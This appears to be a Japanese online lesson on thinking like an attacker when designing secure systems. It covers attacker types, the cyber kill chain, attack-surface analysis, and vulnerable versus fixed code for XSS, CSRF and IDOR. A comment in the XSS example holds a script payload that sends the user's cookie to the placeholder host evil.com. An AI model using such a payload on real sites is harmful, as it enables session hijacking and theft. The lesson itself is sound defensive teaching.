LESSON 25分

ストーリー

高橋アーキテクト
セキュリティ対策を考えるとき、一番大切なことは何だと思う?

高橋アーキテクトが問いかけました。

あなた
暗号化とか、ファイアウォールとか…ですか?
高橋アーキテクト
それはツールだ。一番大切なのは”攻撃者の気持ちになること”だ
高橋アーキテクト
攻撃者の気持ち?
高橋アーキテクト
そう。泥棒を捕まえるには泥棒の考え方を知る必要がある。どこから侵入するか、何を狙うか、どのルートが一番楽か。守る側は、その全てを想像できなければならない

攻撃者の動機と分類

攻撃者のタイプ

タイプ動機スキル対象
スクリプトキディいたずら、承認欲求低い(既成ツール使用)不特定多数
金銭目的の犯罪者金銭(ランサムウェア等)中〜高企業・個人
内部犯行者不満、金銭低〜中(内部知識あり)所属組織
ハクティビスト政治・思想中〜高特定組織
国家支援型諜報、破壊非常に高い政府・重要インフラ

攻撃のライフサイクル(サイバーキルチェーン)

攻撃者は通常、以下のステップで攻撃を進めます。

graph TD
    S1["1. 偵察(Reconnaissance)<br/>ポートスキャン、公開情報収集、技術スタック特定"]
    S2["2. 武器化(Weaponization)<br/>攻撃コード作成、エクスプロイト準備"]
    S3["3. 配送(Delivery)<br/>フィッシングメール、Webアプリへの攻撃"]
    S4["4. エクスプロイト(Exploitation)<br/>脆弱性の悪用、権限取得"]
    S5["5. インストール(Installation)<br/>バックドア設置、永続化"]
    S6["6. 遠隔操作(C2: Command & Control)<br/>外部からの操作経路確立"]
    S7["7. 目的の実行(Actions on Objectives)<br/>データ窃取、破壊、ランサムウェア"]

    S1 --> S2 --> S3 --> S4 --> S5 --> S6 --> S7

    classDef danger fill:#fdd,stroke:#c33,color:#900
    class S7 danger

攻撃面(Attack Surface)の分析

攻撃面とは、攻撃者がシステムに侵入できる可能性のある全ての入口のことです。

// 攻撃面を分析するためのチェックリスト
interface AttackSurface {
  // ネットワーク層
  network: {
    openPorts: number[];          // 開放ポート
    exposedServices: string[];    // 外部公開サービス
    apiEndpoints: string[];       // APIエンドポイント
  };

  // アプリケーション層
  application: {
    userInputs: string[];         // ユーザー入力ポイント
    fileUploads: boolean;         // ファイルアップロード機能
    authMechanisms: string[];     // 認証メカニズム
    thirdPartyIntegrations: string[]; // 外部連携
  };

  // データ層
  data: {
    sensitiveData: string[];      // 機密データの種類
    storageLocations: string[];   // 保存場所
    dataFlows: string[];          // データの流れ
  };

  // 人的要因
  human: {
    privilegedUsers: number;      // 特権ユーザー数
    socialEngineeringRisk: string; // ソーシャルエンジニアリングリスク
  };
}

// 攻撃面の分析例
const ecommerceSurface: AttackSurface = {
  network: {
    openPorts: [80, 443],
    exposedServices: ["Web App", "REST API", "WebSocket"],
    apiEndpoints: ["/api/users", "/api/orders", "/api/payments"],
  },
  application: {
    userInputs: ["検索フォーム", "住所入力", "レビュー投稿", "問い合わせフォーム"],
    fileUploads: true,  // プロフィール画像
    authMechanisms: ["email/password", "OAuth(Google)"],
    thirdPartyIntegrations: ["Stripe", "SendGrid", "S3"],
  },
  data: {
    sensitiveData: ["個人情報", "クレジットカード", "パスワード"],
    storageLocations: ["PostgreSQL", "Redis", "S3"],
    dataFlows: ["ブラウザ→API→DB", "API→Stripe", "API→SendGrid"],
  },
  human: {
    privilegedUsers: 5,
    socialEngineeringRisk: "中(カスタマーサポートチーム)",
  },
};

よくある攻撃手法

1. クロスサイトスクリプティング(XSS)

// 脆弱なコード:ユーザー入力をそのまま表示
const renderComment = (comment: string): string => {
  return `<div class="comment">${comment}</div>`;
  // 攻撃者: <script>document.location='https://evil.com?cookie='+document.cookie</script>
};

// 安全なコード:エスケープ処理
import { escape } from "html-escaper";

const renderComment = (comment: string): string => {
  return `<div class="comment">${escape(comment)}</div>`;
};

2. CSRF(クロスサイトリクエストフォージェリ)

// 安全な実装:CSRFトークンの検証
import csrf from "csurf";

const csrfProtection = csrf({ cookie: true });

app.post("/api/transfer", csrfProtection, (req, res) => {
  // CSRFトークンが検証される
  processTransfer(req.body);
});

3. IDOR(安全でない直接オブジェクト参照)

// 脆弱なコード:IDを直接指定でアクセス可能
app.get("/api/invoices/:id", async (req, res) => {
  const invoice = await invoiceRepo.findById(req.params.id);
  res.json(invoice); // 他人の請求書も見えてしまう
});

// 安全なコード:所有者チェック
app.get("/api/invoices/:id", authenticate, async (req, res) => {
  const invoice = await invoiceRepo.findById(req.params.id);
  if (!invoice) return res.status(404).json({ error: "Not found" });
  if (invoice.userId !== req.user.id) {
    return res.status(403).json({ error: "Forbidden" });
  }
  res.json(invoice);
});

攻撃者視点の設計レビュー

設計レビュー時に「攻撃者だったらどうするか」を考える習慣をつけましょう。

観点攻撃者の質問設計者の対策
入力どの入力フィールドを改ざんできるか?全入力のバリデーション
認証セッションを奪取できるか?HTTPOnly Cookie、SameSite属性
認可他人のリソースにアクセスできるか?リソースの所有者チェック
データ通信を傍受できるか?TLS必須、証明書ピンニング
エラーエラーメッセージから情報が得られるか?汎用エラーメッセージ

まとめ

ポイント内容
攻撃者視点守るにはまず攻撃者の考え方を理解する
キルチェーン攻撃は偵察から始まる7段階のプロセス
攻撃面システムへの全入口を把握して最小化する
レビュー「自分が攻撃者なら」を常に考える

チェックリスト

  • 攻撃者のタイプと動機を理解した
  • サイバーキルチェーンの各段階を把握した
  • 攻撃面の分析方法を理解した
  • 主要な攻撃手法(XSS, CSRF, IDOR)を理解した

次のステップへ

次は「セキュリティの基本原則」を学びます。最小権限の原則やDefense in Depthなど、設計の指針となる原則を身につけましょう。


推定読了時間: 25分